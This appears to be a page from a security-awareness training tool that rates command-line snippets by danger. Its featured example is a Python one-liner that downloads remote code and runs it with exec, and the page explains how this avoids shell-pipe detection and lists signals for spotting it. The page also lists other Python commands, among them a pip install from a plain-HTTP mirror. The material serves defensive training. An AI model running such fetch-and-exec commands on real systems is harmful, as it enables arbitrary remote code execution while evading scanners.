Dangerous
python3 -c "import urllib.request as u; exec(u.urlopen('https://example.com/s').read())"cross-platform · python · Nightmare
Fetches code over the network and executes it in the current interpreter. Using Python instead of a shell avoids the familiar pipe-to-bash pattern while achieving the same result, and nothing is written to disk for a scanner to examine.
Signals to notice
- Remote content passed to exec
- Interpreter used to avoid a shell pipeline
- No file artefact left behind
Think you can spot these under time pressure?
Start TrainingMore Python
find . -name "*.pyc" -deleteIntermediatepython3 -m http.server 8000 --bind 127.0.0.1Advancedpip install --require-hashes -r requirements.txtExpertpip install --index-url http://mirror.example.net/simple requestsAdvancedpython3 -c "import json; d=json.load(open('sbom.json')); print(len([c for c in d.get('components',[]) if c.get('licenses')]))"Nightmarepython3 -c "import pickletools; pickletools.dis(open('model.pkl','rb'))"Expert